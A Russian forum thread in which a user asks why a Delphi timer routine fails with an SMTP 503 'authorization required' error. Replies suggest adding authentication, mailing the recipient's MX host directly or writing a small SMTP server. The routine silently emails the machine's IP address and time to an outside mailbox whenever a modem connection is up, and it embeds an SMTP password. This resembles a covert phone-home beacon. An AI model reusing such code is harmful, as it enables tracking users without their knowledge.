2 месяца не могу понять в чём ошибка?!?!?
 

Здравствуйте. Я использую в своей программе следующий код:
-------------------------------------------------------------------
procedure TForm1.Timer1Timer(Sender: TObject);
type TaPInAddr = Array[0..10] of PInAddr; PaPInAddr = ^TaPInAddr;
var
LSMTP: TIdSMTP;
LMsg: TIdMessage;
strkind, D, T:string;
Indik: Integer;
phe: PHostEnt; pptr: PaPInAddr;Buffer: Array[0..63] of Char;I: Integer;GInitData: TWSAData;
begin
if GetConnect(strKind)and(strkind='Modem') then
begin
D:=FormatDateTime('dd.mm.yyyy', Date());
T:=FormatDateTime('hh:nn', Time());
LSMTP := TIdSMTP.Create(nil);
LMsg := TIdMessage.Create(LSMTP);
with LMsg do
begin
From.Address:=(IdIPWatch1.LocalIP);
Subject :='Тема';
Recipients.EMailAddresses := 'suport_service@inbox.ru';
From.Text :='odinokiy_volk@inbox.ru'; áóäåò ïèñüìî
Body.Add('Date:'+D);
Body.Add('Time:'+T);
end;
with LSMTP do
begin
AuthenticationType:=atNone;
Host := 'smtp.mail.ru';
Port :=25;
SocksInfo.Host:='odinokiy_volk@inbox.ru';
Password :='40968';
if SendE=false then
begin
Connect;
Send(LMsg);
SendE:=True;
FreeAndNil(LMsg);
FreeAndNil(LSMTP);
end;
end;
end
else
sendE:=false;
end;
------------------------------------------------------------------
Вроде бы первое время работал. Ничё всё впоряде. А потом на отрез отказывается выдаёт ошибку: 503 Administrativie prohibition - - autorization requiered/ Users in your domian are not allowed to send email without authorization/See"Хэлп майл ру" Почему что нетак??? :confused: Подскажите!!! :( Меня это уже 2 месяца гложит. :o
--------------------------------------------------------------
Заранее всем спасибо!!!

Ну если я не ошибаюсь, то это прога на паскале, которая отсылает мыло. Естественно она использует указанный smtp сервер, который, видимо, теперь стал запрашивать аутентификацию. То есть теперь для того чтобы использовать данный smtp нужно ему пересылать login/pass
сделай соответсвтующие изменения в проге, должно работать

1) твоя ошибка в том что ты ещё не выкинул делфи в окно
2) твоя ошибка в том что через SMTP сервер нельзя слать письма без аутентификации.
находи mx-запись сервера, на котором твой локальный юзер, и шли ему.

опа ответили =)
На source видел исходники проги отправлющая маил... и на "хакер"`е.

напеши свой мини SMTP сервер и шли маилы.